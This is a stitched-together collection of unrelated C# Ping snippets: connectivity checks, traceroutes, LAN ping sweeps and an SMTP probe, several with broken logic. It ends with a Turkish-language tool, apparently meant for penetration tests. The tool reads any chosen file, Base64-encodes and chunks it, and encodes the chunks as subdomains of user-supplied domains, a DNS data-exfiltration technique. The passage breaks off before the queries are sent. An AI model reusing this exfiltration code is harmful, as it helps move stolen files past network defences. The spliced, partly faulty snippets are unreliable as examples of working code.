public static void ListAllHosts(byte[] ipBase, Action<AddressStruct> itemCallback)
{
for (int b4 = 0; b4 <= 255; b4++)
{
var ip = ipBase[0] + "." + ipBase[1] + "." + ipBase[2] + "." + b4;
var ping = new Ping();
ping.PingCompleted += (o, e) =>
{
if (e.Error == null && e.Reply.Status == IPStatus.Success)
if (itemCallback != null)
{
GetMacAddress(
e.Reply.Address,
(mac) =>
{
itemCallback(new AddressStruct()
{
IPAddress = e.Reply.Address,
MacAddress = mac
});
});
}
};
ping.SendAsync(ip, null);
}
}
/* Ping an entered address */
public void PingAddress(string addr)
{
List<IPStatus> replies = new List<IPStatus>();
int count = 0;
// send 4 pings
while (count < 4)
{
// used to construct a 32 byte message
string data = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";
byte[] buffer = Encoding.ASCII.GetBytes(data);
int timeout = 120;
// intalize the ping object with ttl and no fragment options
PingOptions PingSettings = new PingOptions(53, true);
Ping Pinger = new Ping();
// send the ping
PingReply Reply = Pinger.Send(addr, timeout, buffer, PingSettings);
replies.Add(Reply.Status);
++count;
}
// tracks the ammount of successful replies
for (int i = 0; i < replies.Count; i++)
if (replies[i] == IPStatus.Success)
scount++;
}
public override bool DoValidate()
{
#if !NET_CORE
Ping p = new Ping();//创建Ping对象p
PingReply pr = p.Send("www.baidu.com", 30000);//向指定IP或者主机名的计算机发送ICMP协议的ping数据包
if (pr != null && pr.Status == IPStatus.Success)//如果ping成功
{
return true;
}
#else
HttpClient clinet = new HttpClient();
IAsyncResult asyncResult = clinet.GetStringAsync("http://www.baidu.com");
if (!asyncResult.AsyncWaitHandle.WaitOne(2000))
{
return false;
}
if (((Task<string>)asyncResult).Result.Contains("<title>百度一下，你就知道</title>"))
{
return true;
}
Thread.Sleep(100);
#endif
return false;
}
async private void PingButton_Click(object sender, EventArgs e)
{
List<string> urls = new List<string>()
{
"www.habitat-spokane.org",
"www.partnersintl.org",
"www.iassist.org",
"www.fh.org",
"www.worldvision.org"
};
IPStatus status;
Func<string, Task<IPStatus>> func =
async (localUrl) =>
{
Random random = new Random();
Ping ping = new Ping();
PingReply pingReply =
await ping.SendPingAsync(localUrl);
return pingReply.Status;
};
StatusLabel.Text = "Pinging…";
foreach(string url in urls)
{
status = await func(url);
StatusLabel.Text +=
$@"{ Environment.NewLine
}{ url }: { status.ToString() } ({
Thread.CurrentThread.ManagedThreadId
})";
}
}
public static bool PingIpOrDomainName(string strIpOrDname) {
try
{
Ping objPingSender = new Ping();
PingOptions objPinOptions = new PingOptions();
objPinOptions.DontFragment = true;
string data = "";
byte[] buffer = Encoding.UTF8.GetBytes(data);
int intTimeout = 120;
PingReply objRPinReply = objPingSender.Send(strIpOrDname, intTimeout, buffer, objPinOptions);
string strInfo = objRPinReply.Status.ToString();
if (strInfo == "Success")
{
return true;
}
else
{
return false;
}
}
catch (Exception)
{
return false;
}
}
public static void Trace(IPAddress destination, Func<IPAddress, TracertNode, bool> callback)
{
if (destination == null)
{
throw new ArgumentNullException("destination");
}
else
{
if (callback == null)
{
throw new ArgumentNullException("callback");
}
else
{
var syncroot = new object();
var buffer = new byte[INT_BufferSize];
var options = new PingOptions(1, true);
var ping = new Ping();
ping.PingCompleted += (sender, e) =>
{
var address = e.Reply.Address;
var status = e.Reply.Status;
back:
var done = !callback.Invoke(destination, new TracertNode(address, status, e.Reply.Options.Ttl)) || address.Equals(destination);
if (done)
{
try
{
if (ping != null)
{
ping.Dispose();
}
}
finally
{
ping = null;
}
}
else
{
lock (syncroot)
{
if (ping == null)
{
address = destination;
status = IPStatus.Unknown;
goto back;
}
else
{
options.Ttl++;
ping.SendAsync(destination, INT_TimeoutMilliseconds, buffer, options, null);
}
}
}
};
ping.SendAsync(destination, INT_TimeoutMilliseconds, buffer, options, null);
}
}
}
public static bool Online(int retryTime)
{
Ping ping = new Ping();
PingOptions options = new PingOptions();
options.DontFragment = true;
PingReply reply;
byte[] buffer = System.Text.Encoding.ASCII.GetBytes(string.Empty);
int index = 0;
while (index < retryTime)
{
try
{
reply = ping.Send("www.baidu.com", 5000, buffer, options);
if (reply.Status.Equals(IPStatus.Success))
return true;
}
catch
{
}
index++;
}
return false;
}
static void Main(string[] args)
{
// Set up a new variable that pings.
var ping = new Ping();
// Asks the user what website they want to ping.
Console.WriteLine("What website do you want to check? Example(www.google.co.uk)");
// Records their input.
var website = Console.ReadLine();
// Records the result of the ping.
var result = ping.Send(website);
// Set up an if else statement for if it fails or not.
if (result.Status != IPStatus.Success)
{
// If fails website is down.
Console.WriteLine("Website is Down.");
} else
{
// If anything else i.e suceeds prints it is up.
Console.WriteLine("Website is Up.");
}
// Stops program from terminating.
Console.ReadLine();
}
public MainWindow()
{
InitializeComponent();
ping = new Ping();
ni = new System.Windows.Forms.NotifyIcon();
ni.Icon = System.Drawing.Icon.FromHandle(Properties.Resources.plug.GetHicon());
ni.Visible = true;
ni.DoubleClick += delegate (object sender, EventArgs args)
{
this.Show();
this.WindowState = WindowState.Normal;
};
intervalTextBox.Text = Properties.Settings.Default.interval;
address1TextBox.Text = Properties.Settings.Default.addy1;
address2TextBox.Text = Properties.Settings.Default.addy2;
address3TextBox.Text = Properties.Settings.Default.addy3;
statusLabel.Content = "";
address1ResLabel.Content = "";
address2ResLabel.Content = "";
address3ResLabel.Content = "";
timer = new DispatcherTimer();
timer.Tick += new EventHandler(TimedEvent);
}
/// <summary>
/// Performs a pathping
/// </summary>
/// <param name="ipaTarget">The target</param>
/// <param name="iHopcount">The maximum hopcount</param>
/// <param name="iTimeout">The timeout for each ping</param>
/// <returns>An array of PingReplys for the whole path</returns>
public static PingReply[] PerformPathping(IPAddress ipaTarget, int iHopcount, int iTimeout)
{
System.Collections.ArrayList arlPingReply = new System.Collections.ArrayList();
Ping myPing = new Ping();
PingReply prResult = null;
int iTimeOutCnt = 0;
for (int iC1 = 1; iC1 < iHopcount && iTimeOutCnt<5; iC1++)
{
prResult = myPing.Send(ipaTarget, iTimeout, new byte[10], new PingOptions(iC1, false));
if (prResult.Status == IPStatus.Success)
{
iC1 = iHopcount;
iTimeOutCnt = 0;
}
else if (prResult.Status == IPStatus.TtlExpired)
{
iTimeOutCnt = 0;
}
else if (prResult.Status == IPStatus.TimedOut)
{
iTimeOutCnt++;
}
arlPingReply.Add(prResult);
}
PingReply[] prReturnValue = new PingReply[arlPingReply.Count];
for (int iC1 = 0; iC1 < arlPingReply.Count; iC1++)
{
prReturnValue[iC1] = (PingReply)arlPingReply[iC1];
}
return prReturnValue;
}
// 检查网络连接的函数
public void checkNet()
{
Ping p = new Ping();//创建Ping对象p
PingReply pr = p.Send(_Sip);//向指定IP或者主机名的计算机发送ICMP协议的ping数据包
if (pr.Status == IPStatus.Success)//如果ping成功
{
Console.WriteLine("网络连接成功, 执行下面任务...");
netIsOk = true;
}
else
{
int times = 0;//重新连接次数;
do
{
if (times >= 1)
{
MessageBox.Show("重新尝试连接超过12次,连接失败程序结束");
netIsOk = false;
return;
}
// Thread.Sleep(5000);//等待十分钟(方便测试的话，你可以改为1000)
pr = p.Send(_Sip);
Console.WriteLine(pr.Status);
times++;
}
while (pr.Status != IPStatus.Success);
MessageBox.Show("连接成功");
netIsOk = true;
times = 0;//连接成功，重新连接次数清为0;
}
}
public void ReadAndPing(string path)
{
File.OpenRead(path);
ConsoleKeyInfo btn;
do // Начала цикла
{
string ip = File.ReadLines(path);
while (true) //читаем в ip строки из файла в path
{
//Console.WriteLine(ip);
Ping pingSender = new Ping();
PingOptions options = new PingOptions();
options.Ttl = 60; //Продолжительность жизни пакета в секундах
int timeout = 120; //Таймаут выводется в ответе reply.RoundtripTime
string data = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"; //Строка длиной 32 байта
byte[] buffer = Encoding.ASCII.GetBytes(data); //Преобразование строки в байты, выводится reply.Buffer.Length
PingReply reply = pingSender.Send(ip, timeout, buffer, options);
Console.WriteLine("Сервер: {0} Время={1} TTL={2}", reply.Address.ToString(), reply.RoundtripTime, reply.Options.Ttl); //Выводим всё на консоль
//ConsoleKeyInfo btn = Console.ReadKey(); //Создаём переменную которая хранит метод Описывающий нажатую клавишу консоли
//if (btn.Key == ConsoleKey.Escape) break;
}
// ConsoleKeyInfo btn = Console.ReadKey(); //Создаём переменную которая хранит метод Описывающий нажатую клавишу консоли
// if (btn.Key == ConsoleKey.Escape) break;
btn = Console.ReadKey(); //Переенная для чтения нажатия клавиши
}
while (btn.Key == ConsoleKey.Escape); //Чтение нажатия клавиши.
}
public static PingResult PingHost(string host, int timeout = 1000, int pingCount = 4, int waitTime = 100)
{
PingResult pingResult = new PingResult();
IPAddress address = GetIpFromHost(host);
byte[] buffer = new byte[32];
PingOptions pingOptions = new PingOptions(128, true);
using (Ping ping = new Ping())
{
for (int i = 0; i < pingCount; i++)
{
try
{
PingReply pingReply = ping.Send(address, timeout, buffer, pingOptions);
if (pingReply != null)
{
pingResult.PingReplyList.Add(pingReply);
}
}
catch (Exception e)
{
DebugHelper.WriteException(e);
}
if (waitTime > 0 && i + 1 < pingCount)
{
Thread.Sleep(waitTime);
}
}
}
return pingResult;
}
/// <summary>
/// 线程创建时调用此方法来搜索局域网主机
/// </summary>
private void searchMethod()
{
lock (obj)
{
//因为是刷新列表，所以要先清空
if (result != null)
{
result.Clear();
}
try
{
//扫描整个网段
for (int i = 1; i < 256; i++)
{
//ping主机从而获取其IP地址和主机名
Ping myPing = new Ping();
myPing.PingCompleted += new PingCompletedEventHandler(_myPing_PingCompleted);
//如果路由器不是这么设置的这个地方就要改~~~偷个懒~^_^
string pingIP = "10.0.2." + i.ToString();
//异步ping，防止主界面过长时间不响应
myPing.SendAsync(pingIP, null);
Thread.Sleep(1);
}
}
catch (Exception exp)
{
MessageBox.Show("错误！");
}
}
}
public void pingHost(string hostName, int pingCount)
{
if (pingCount == 0)
{
pingCount = 43200;
}
Console.WriteLine("Host, Response Time, Status, Time ");
String fileName = String.Format(@"tping-{0}-{1}-{2}-{3}.csv", DateTime.Now.Day, DateTime.Now.Hour, DateTime.Now.Minute, DateTime.Now.Second);
for (int i = 0; i < pingCount; i++)
{
Ping ping = new Ping();
StreamWriter processedData = new StreamWriter(@fileName, true);
try
{
PingReply pingReply = ping.Send(hostName);
processedData.WriteLine("{0}, " + "{1}, " + "{2}, " + DateTime.Now.TimeOfDay, hostName, pingReply.RoundtripTime, pingReply.Status);
processedData.Close();
Console.WriteLine("{0}, " + "{1}, " + "{2}, " + DateTime.Now.TimeOfDay, hostName, pingReply.RoundtripTime, pingReply.Status);
}
catch (System.Net.NetworkInformation.PingException)
{
processedData.WriteLine("{0}, " + "{1}, " + "{2}, " + DateTime.Now.TimeOfDay, hostName, 0, "Network Error");
Console.WriteLine("{0}, " + "{1}, " + "{2}, " + DateTime.Now.TimeOfDay, hostName, 0, "Network Error");
processedData.Close();
//Console.WriteLine(Ex);
//Environment.Exit(0);
}
Thread.Sleep(2000);
}
Console.WriteLine("\n" + "tping complete - {0} pings logged in {1}", pingCount, fileName);
}
public static bool TestConnection(string smtpServerAddress, int port)
{
Ping pingSender = new Ping();
PingOptions options = new PingOptions();
options.DontFragment = true;
PingReply reply = null;
try
{
reply = pingSender.Send(smtpServerAddress, 12000, Encoding.ASCII.GetBytes("SHIT"), options);
}
catch (System.Net.NetworkInformation.PingException)
{
return false;
}
if (reply.Status == IPStatus.Success)
{
IPHostEntry hostEntry = Dns.GetHostEntry(smtpServerAddress);
IPEndPoint endPoint = new IPEndPoint(hostEntry.AddressList[0], port);
using (Socket tcpSocket = new Socket(endPoint.AddressFamily, SocketType.Stream, ProtocolType.Tcp))
{
tcpSocket.Connect(endPoint);
if (!CheckResponse(tcpSocket, 220))
return false;
SendData(tcpSocket, string.Format("HELO {0}\r\n", Dns.GetHostName()));
if (!CheckResponse(tcpSocket, 250))
return false;
return true;
}
}
else
return false;
}
/// <summary>
/// Will use CheckOrResolveIpAddress() to get an IP Address, then try to ping it.
/// </summary>
/// <param name="toPing">The IP Address or Hostname to ping</param>
/// <returns>Null if successful. The error message if an error occurred.</returns>
private static string Ping(string toPing)
{
IPAddress ipAddress = CheckOrResolveIpAddress(toPing);
if (ipAddress == null)
return "Invalid IP Address/Hostname";
Ping ping = new Ping();
PingReply reply;
try
{
reply = ping.Send(ipAddress);
}
catch (PingException pe)
{
return string.Format("Could not ping {0}, {1}", toPing, pe.Message);
}
catch (Exception e)
{
return string.Format("Could not ping {0}, {1}", toPing, e.Message);
}
if (reply != null && reply.Status == IPStatus.Success)
{
//string message = reply.Status.ToString();
return null;
}
return string.Format("Could not ping {0}", toPing);
}
public bool StartConnect(string IP, int TcpPort, int CtrlPort)
{
var ping = new Ping();
if (ping.Send(IP).Status != IPStatus.Success)
{
Console.Write("サーバーがPINGに応答しません。接続しますか？\n10秒でキャンセルされます。(y/n):");
string Res = new Reader().ReadLine(10000);
if (Res == null || !Res.ToLower().StartsWith("y"))
return false;
}
CommonManager.Instance.NWMode = true;
if (!CommonManager.Instance.NW.ConnectServer(IP, (uint)CtrlPort
, (uint)TcpPort, OutsideCmdCallback, this)) return false;
byte[] binData;
if (CommonManager.Instance.CtrlCmd.SendFileCopy("ChSet5.txt", out binData) == 1)
{
string filePath = @".\Setting";
Directory.CreateDirectory(filePath);
filePath += @"\ChSet5.txt";
using (BinaryWriter w = new BinaryWriter(File.Create(filePath)))
{
w.Write(binData);
w.Close();
}
ChSet5.LoadFile();
return true;
}
return false;
}
public RemoteEnvironment(string ipAddress, string userName, string password, string psExecPath)
{
IpAddress = ipAddress;
UserName = userName;
Password = password;
_psExecPath = psExecPath;
// wait for ping
RetryUtility.RetryAction(() =>
{
var ping = new Ping();
var reply = ping.Send(IpAddress);
OsTestLogger.WriteLine(string.Format("Pinging ip:{0}, reply: {1}", ipAddress, reply.Status));
if (reply.Status != IPStatus.Success)
throw new InvalidOperationException(string.Format("Remote IP {0} ping returns {1}", ipAddress, reply.Status));
}, 50, 5000);
// give time for the RPC service to start
RetryUtility.RetryAction(() => { WmiWrapperInstance = new WmiWrapper(ipAddress, userName, password); }, 10, 5000);
WindowsShellInstance = new WindowsShell(this, psExecPath);
//this will populate the GuestEnvironmentVariables. Short time after start APPDATA may be empty
RetryUtility.RetryAction( InvalidateCachedGuestEnvironmentVariables, 10, 10000);
IsUACEnabled = CheckIsUAC();
}
public static PingStatus Ping(string deviceName, PingerOptions options)
{
Ping pinger = new Ping();
PingOptions pingOptions = new PingOptions() { DontFragment = options.DontFragment };
// Create a buffer of 32 bytes of data to be transmitted.
byte a = Encoding.ASCII.GetBytes("a")[0];
byte[] buffer = new byte[options.PayloadSize]; // Encoding.ASCII.GetBytes(data);
for (int i = 0; i < options.PayloadSize; i++)
{
buffer[i] = a;
}
try
{
PingReply reply = pinger.Send(deviceName, options.Timeout, buffer, pingOptions);
if (reply.Status == IPStatus.Success)
{
//Ping was successful
return new PingStatus(true, (int)reply.Status, reply.RoundtripTime);
}
//Ping failed
return new PingStatus(false, (int)reply.Status, reply.RoundtripTime);
}
catch (Exception)
{
return new PingStatus(false, 99999, 99999);
}
}
private void frm_wait_Shown(object sender, EventArgs e)
{
frm_main frm = (frm_main)this.Owner;
address = frm.current_pos;
curr_pos = address;
//Ping POS
Ping png = new Ping();
PingOptions opt = new PingOptions();
opt.DontFragment = true;
string data = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";
byte[] buffer = Encoding.ASCII.GetBytes (data);
int timeout = 800;
PingReply reply = png.Send(address, timeout, buffer, opt);
if (reply.Status == IPStatus.Success)
{
if (Directory.Exists(@"\\" + address + @"\POS\Command\"))
{
address = @"\\" + address + @"\POS\Command\req18";
using (File.Create(address)) { }
}
else
{
MessageBox.Show("Нету связи с POS терминалом или папка Command не доступна", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
this.Close();
}
}
else
{
MessageBox.Show("Нету связи с POS терминалом или папка Command не доступна", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
this.Close();
}
bg_worker.WorkerSupportsCancellation = true;
bg_worker.RunWorkerAsync();
}
public bool CanPing(string address)
{
Ping ping = new Ping();
try
{
PingReply reply = ping.Send(address);
if (reply == null) return false;
if (reply.Status == IPStatus.Success)
{
this.Log.Debug("On-Line!");
return true;
}
else
{
this.Log.Debug("Off-Line");
return false;
}
}
catch (PingException)
{
this.Log.Debug("Off-Line");
return false;
}
}
public static bool IsHostAccessible(string hostNameOrAddress)
{
if (String.IsNullOrEmpty(hostNameOrAddress))
return false;
using (var ping = new Ping())
{
PingReply reply;
try
{
reply = ping.Send(hostNameOrAddress, PingTimeout);
}
catch (Exception ex)
{
if (ex is ArgumentNullException ||
ex is ArgumentOutOfRangeException ||
ex is InvalidOperationException ||
ex is SocketException )
{
return false;
}
throw;
}
if (reply != null) return reply.Status == IPStatus.Success;
}
return false;
}
private void pingBaidu()
{
try
{
Ping p = new Ping();
PingReply pr = p.Send("www.baidu.com");
if (pr.Status == IPStatus.Success||true)
{
MainWindow mw = new MainWindow();
mw.Show();
this.Close();
}
else
{
MessageBox.Show("本程序需要网络连接，请先配置好当前网络环境");
return;
}
}
catch (Exception)
{
MessageBox.Show("本程序需要网络连接，请先配置好当前网络环境");
return;
}
}
public string TargetFound(string target)
{
try
{
Ping pingSender = new Ping();
PingOptions options = new PingOptions();
// Use the default Ttl value which is 128,
// but change the fragmentation behavior.
options.DontFragment = true;
// Create a buffer of 32 bytes of data to be transmitted.
string data = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";
byte[] buffer = Encoding.ASCII.GetBytes(data);
int timeout = 120;
PingReply reply = pingSender.Send(target, timeout, buffer, options);
if (reply.Status == IPStatus.Success)
{
return "targetfound";
}
else { return "targetnotfound"; }
}
catch(Exception e)
{
string CaughtException = e.ToString();
return CaughtException.Substring(0, CaughtException.IndexOf(Environment.NewLine));
}
}
protected override void Loop(CancellationToken token)
{
_isConnected = false;
while (token.IsCancellationRequested == false)
{
bool isNetworkAvailable = NetworkInterface.GetIsNetworkAvailable();
if (isNetworkAvailable)
{
NetworkInterface[] ifs = NetworkInterface.GetAllNetworkInterfaces();
foreach (NetworkInterface @if in ifs)
{
// check for wireless and up
if (@if.NetworkInterfaceType == NetworkInterfaceType.Wireless80211 && @if.OperationalStatus == OperationalStatus.Up)
{
var ping = new Ping();
PingReply result = ping.Send(_config.Hostname);
if (result != null && result.Status == IPStatus.Success)
{
_isConnected = true;
_connectionChanged(true);
}
else
{
// todo add timeout?
_isConnected = false;
_connectionChanged(false);
}
}
}
}
Thread.Sleep(1000);
}
}
static void Main(string[] args)
{
var options = new argsParser();
CommandLine.Parser.Default.ParseArguments(args, options);
if (args.Length > 0)
{
var test = Uri.CheckHostName(options.ip);
if (Uri.CheckHostName(options.ip) != UriHostNameType.Unknown)
{
Ping ping = new Ping();
try
{
PingReply pingReply = ping.Send(options.ip);
}
catch
{
Console.WriteLine("Network Error: Please check network or hostname|ip");
Environment.Exit(0);
}
helper ping1 = new helper();
ping1.pingHost(options.ip, options.count);
}
else
{
Console.WriteLine("Please enter a valid hostname or IP");
}
}
else
{
Console.WriteLine("tping.exe -i [IP|Hostname] -c [Number of pings (Default is 43200)]");
}
}
/// <summary>
/// Ping network address
/// </summary>
/// <param name="address">IP Address or Hostname</param>
/// <returns></returns>
public static bool SendPing(string address, int tries)
{
int tries_count = 0;
Ping pingSender = new Ping ();
PingOptions options = new PingOptions ();
// Use the default Ttl value which is 128,
// but change the fragmentation behavior.
options.DontFragment = true;
// Create a buffer of 32 bytes of data to be transmitted.
string data = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";
byte[] buffer = Encoding.ASCII.GetBytes (data);
int timeout = 120;
while (tries_count < tries)
{
PingReply reply = pingSender.Send(address, timeout, buffer, options);
if (reply.Status == IPStatus.Success)
return true;
tries_count++;
}
return false;
}
private void PingServer(string server)
{
string result = "Test failed!";
var pingSender = new Ping();
var options = new PingOptions();
options.DontFragment = true;
// Create a buffer of 32 bytes of data to be transmitted.
const string data = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";
byte[] buffer = Encoding.ASCII.GetBytes(data);
const int timeout = 120;
try
{
var reply = pingSender.Send(server, timeout, buffer, options);
if (reply != null && reply.Status == IPStatus.Success)
{
result = String.Format("Address: {0}\n", reply.Address.ToString());
result += String.Format("RoundTrip time: {0}\n", reply.RoundtripTime);
result += String.Format("Buffer size: {0}\n", reply.Buffer.Length);
result += Environment.NewLine;
result += "Test successful!\n";
}
}
catch (Exception) { }
MessageBox.Show(result, "Test Result");
}
/// <summary>
/// This function will deal with delays of setting up an agent.
/// </summary>
/// <returns>IEnumerator to allow for delays.</returns>
public IEnumerator SlowAgentStart()
{
bool UsePublic = false;
bool UseFlorida = false;
//Ping Public Ip address to see if we are external..........
//GenericNetworkCore.Logger("Trying Public IP Address: " + PublicIP.ToString());
System.Net.NetworkInformation.Ping ping = new System.Net.NetworkInformation.Ping();
System.Net.NetworkInformation.PingOptions po = new System.Net.NetworkInformation.PingOptions();
po.DontFragment = true;
string data = "HELLLLOOOOO!";
byte[] buffer = ASCIIEncoding.ASCII.GetBytes(data);
int timeout = 500;
System.Net.NetworkInformation.PingReply pr = ping.Send(PublicIP, timeout, buffer, po);
yield return(new WaitForSeconds(1.5f));
Debug.Log("Ping Return: " + pr.Status.ToString());
if (pr.Status == System.Net.NetworkInformation.IPStatus.Success)
{
GenericNetworkCore.Logger("The public IP responded with a roundtrip time of: " + pr.RoundtripTime);
UsePublic = true;
IP = PublicIP;
}
else
{
GenericNetworkCore.Logger("The public IP failed to respond");
UsePublic = false;
}
//-------------------If not public, ping Florida Poly for internal access.
if (!UsePublic)
{
GenericNetworkCore.Logger("Trying Florida Poly Address: " + FloridaPolyIP.ToString());
pr = ping.Send(FloridaPolyIP, timeout, buffer, po);
yield return(new WaitForSeconds(1.5f));
Debug.Log("Ping Return: " + pr.Status.ToString());
if (pr.Status.ToString() == "Success")
{
GenericNetworkCore.Logger("The Florida Poly IP responded with a roundtrip time of: " + pr.RoundtripTime);
UseFlorida = true;
IP = FloridaPolyIP;
}
else
{
GenericNetworkCore.Logger("The Florida Poly IP failed to respond");
UseFlorida = false;
}
}
//Otherwise use local host, assume testing.
if (!UsePublic && !UseFlorida)
{
IP = "127.0.0.1";
GenericNetworkCore.Logger("Using Home Address!");
}
this.StartAgent();
}
public PN()
{
System.Net.NetworkInformation.Ping ping = new System.Net.NetworkInformation.Ping();
System.Net.NetworkInformation.PingReply pingReply = ping.Send("192.168.9.200"); //адрес куда надо отправить
Console.WriteLine(pingReply.RoundtripTime); //время ответа
Console.WriteLine(pingReply.Status); //статус
Console.WriteLine(pingReply.Address); //IP
// Console.ReadKey(true);
}
private bool Ping()
{
System.Net.NetworkInformation.Ping pingSender = new System.Net.NetworkInformation.Ping();
System.Net.NetworkInformation.PingReply reply;
try
{
reply = pingSender.Send("Google.com");
}
catch (Exception) { return(false); }
if (reply.Status == System.Net.NetworkInformation.IPStatus.Success)
{
return(true);
}
return(false);
}
public static bool Ping(string hostNameOrAddress, int timeout, out Exception error)
{
var success = false;
error = null;
var sw = new System.Diagnostics.Stopwatch();
sw.Start();
System.Net.NetworkInformation.PingReply reply = null;
Exception replyError = null;
// Use proper threading, because other asynchronous classes
// like "Tasks" have problems with Ping.
var ts = new System.Threading.ThreadStart(delegate()
{
var ping = new System.Net.NetworkInformation.Ping();
try
{
reply = ping.Send(hostNameOrAddress);
}
catch (Exception ex)
{
replyError = ex;
}
ping.Dispose();
});
var t = new System.Threading.Thread(ts);
t.Start();
t.Join(timeout);
if (reply != null)
{
success = (reply.Status == System.Net.NetworkInformation.IPStatus.Success);
}
else if (replyError != null)
{
error = replyError;
}
else
{
error = new Exception("Ping timed out (" + timeout.ToString() + "): " + sw.Elapsed.ToString());
}
return(success);
}
private bool CheckImOnline()
{
if (_device._bd.VirtualDevice != null)
{
return(_device._bd.VirtualDevice.IsOnline);
}
try
{
var r1 = new System.Net.NetworkInformation.Ping().Send("www.google.com.mx").Status == System.Net.NetworkInformation.IPStatus.Success;
var r2 = new System.Net.NetworkInformation.Ping().Send("www.bing.com").Status == System.Net.NetworkInformation.IPStatus.Success;
return(r1 || r2);
}
catch (Exception ex)
{
System.Diagnostics.Debug.Print(ex.Message);
System.Diagnostics.Debugger.Break();
}
return(false);
}
public bool Ping(string ip)
{
System.Net.NetworkInformation.Ping p = new System.Net.NetworkInformation.Ping();
System.Net.NetworkInformation.PingOptions options = new System.Net.NetworkInformation.PingOptions();
options.DontFragment = true;
string data = "Test Data!";
byte[] buffer = Encoding.ASCII.GetBytes(data);
int timeout = 1000; // Timeout 时间，单位：毫秒
System.Net.NetworkInformation.PingReply reply = p.Send(ip, timeout, buffer, options);
if (reply.Status == System.Net.NetworkInformation.IPStatus.Success)
{
return(true);
}
else
{
return(false);
}
}
static void Main(string[] args)
{
string komuta = "ipconfig /flushdns";
Process Process1 = new Process();
ProcessStartInfo ProcessInfo1;
ProcessInfo1 = new ProcessStartInfo("cmd.exe", "/C " + komuta);
ProcessInfo1.CreateNoWindow = true;
ProcessInfo1.UseShellExecute = false;
Process1 = Process.Start(ProcessInfo1);
Process1.WaitForExit();
Process1.Close();
System.Net.NetworkInformation.Ping png = new System.Net.NetworkInformation.Ping();
List <string> domain_list = new List <string>();
int sayi = 1;
KontrolSubSayisi:
try
{
Console.WriteLine("Subdomain sayısı:");
string sayi_string = Console.ReadLine();
Console.WriteLine("--------------------------------------------------------------------");
sayi = Int32.Parse(sayi_string);
}
catch (Exception ex)
{
Console.WriteLine("Sayı giriniz:" + ex.Message);
goto KontrolSubSayisi;
}
for (int i = 0; i < sayi; i++)
{
Console.WriteLine("Domain adı:");
string site = Console.ReadLine();
domain_list.Add(site);
}
Console.WriteLine("--------------------------------------------------------------------");
KontrolDosyaAdi:
string dosyaAdi;
Console.WriteLine("Dosya adi giriniz:");
dosyaAdi = Console.ReadLine();
if (dosyaAdi == "")
{
Console.WriteLine("Boş geçmeyiniz");
goto KontrolDosyaAdi;
}
Console.WriteLine("--------------------------------------------------------------------");
Console.WriteLine("Test edilen kurumun adini giriniz");
testEdilenKurum = Console.ReadLine();
string timeout;
Console.WriteLine("--------------------------------------------------------------------");
Console.WriteLine("TimeOut' milisaniye cinsinden giriniz:");
timeout = Console.ReadLine();
TimeOut = Convert.ToInt32(timeout);
Console.WriteLine("--------------------------------------------------------------------");
idKontrol:
Console.WriteLine("Kendinize özel sayı ve karakterden oluşan 3 haneli anahtar tanımlayın");
kullaniciID = Console.ReadLine();
if (kullaniciID.Length != 3)
{
Console.WriteLine("Hatalı anahtar boyutu");
goto idKontrol;
}
string islem_No;
Console.WriteLine("--------------------------------------------------------------------");
Kontrol:
Console.WriteLine("Dosyayı nasıl kaçırmak istediğinizi seçiniz");
Console.WriteLine("1.)Byte");
Console.WriteLine("2.)Base64");
Console.WriteLine("3.)Base32");
islem_No = Console.ReadLine();
if (islem_No == "")
{
Console.WriteLine("Hatalı numara");
goto Kontrol;
}
Console.WriteLine("--------------------------------------------------------------------");
int Islem_No = Convert.ToInt32(islem_No);
List <string> dizi = new List <string>();
List <string> veri_dizisi = new List <string>();
string yollanacak_veri;
string[] dosyaAd = dosyaAdi.Split('\\');
string newDosyaAdi = dosyaAd[dosyaAd.Count() - 1];
if (Islem_No == 1)
{
string y = System.Convert.ToBase64String(GetBytes(testEdilenKurum));
string[] kurum = Regex.Split(y, "=");
string dosya = System.Convert.ToBase64String(GetBytes(newDosyaAdi));
string[] dosyaNew = Regex.Split(dosya, "=");
dizi.Add(kurum[0]);
dizi.Add(dosyaNew[0]);
dizi.Add(islem_No);
try
{
byte[] content = File.ReadAllBytes(dosyaAdi);
string result1 = System.Convert.ToBase64String(content);
StreamWriter a = new StreamWriter("okan.txt");
a.WriteLine(result1);
a.Close();
byte[] content2 = File.ReadAllBytes(@"okan.txt");
string result = GetString(content2);
int diziBoyutu = result.Length - 1, index = 0;
int sayac = result.Length;
int kalan;
while (sayac > 16)
{
sayac -= 16;
dizi.Add(result.Substring(index, 16));
index += 16;
}
kalan = sayac;
dizi.Add(result.Substring(index, kalan));
string son = "bitti";
dizi.Add(son);
for (int i = 0; i < dizi.Count; i++)
{
yollanacak_veri = i + kullaniciID + "-" + dizi[i] + "." + domain_list[i % (domain_list.Count)];
veri_dizisi.Add(yollanacak_veri);
}
}
catch (Exception ex)
{
Console.WriteLine("Hatalı dosya adi:" + ex.Message);
goto KontrolDosyaAdi;
}
}
else if (Islem_No == 2)
{
string y = System.Convert.ToBase64String(GetBytes(testEdilenKurum));
string[] kurum = Regex.Split(y, "=");
string dosya = System.Convert.ToBase64String(GetBytes(newDosyaAdi));
string[] dosyaNew = Regex.Split(dosya, "=");
dizi.Add(kurum[0]);
dizi.Add(dosyaNew[0]);
dizi.Add(islem_No);
try
{
byte[] content = File.ReadAllBytes(dosyaAdi);
string result = System.Convert.ToBase64String(content);
result = result.Replace("/", "bolu");
result = result.Replace("+", "arti");
int diziBoyutu = result.Length - 1, index = 0;
int sayac = result.Length;
Random random = new Random();
int boyut = random.Next(30, 52);
int kalan;
while (sayac > boyut)
{
boyut = random.Next(30, 52);
sayac -= boyut;
dizi.Add(result.Substring(index, boyut));
index += boyut;
}
kalan = sayac;
string y3 = result.Substring(index, kalan);
string[] ya = Regex.Split(y3, "=");
dizi.Add(ya[0]);
string son = "bitti";
dizi.Add(son);
for (int i = 0; i < dizi.Count; i++)
{
yollanacak_veri = i + kullaniciID + "-" + dizi[i] + "." + domain_list[i % (domain_list.Count)];
veri_dizisi.Add(yollanacak_veri);
}
}
catch (Exception ex)
{
Console.WriteLine("Hatalı dosya adi:" + ex.Message);
goto KontrolDosyaAdi;
}
}
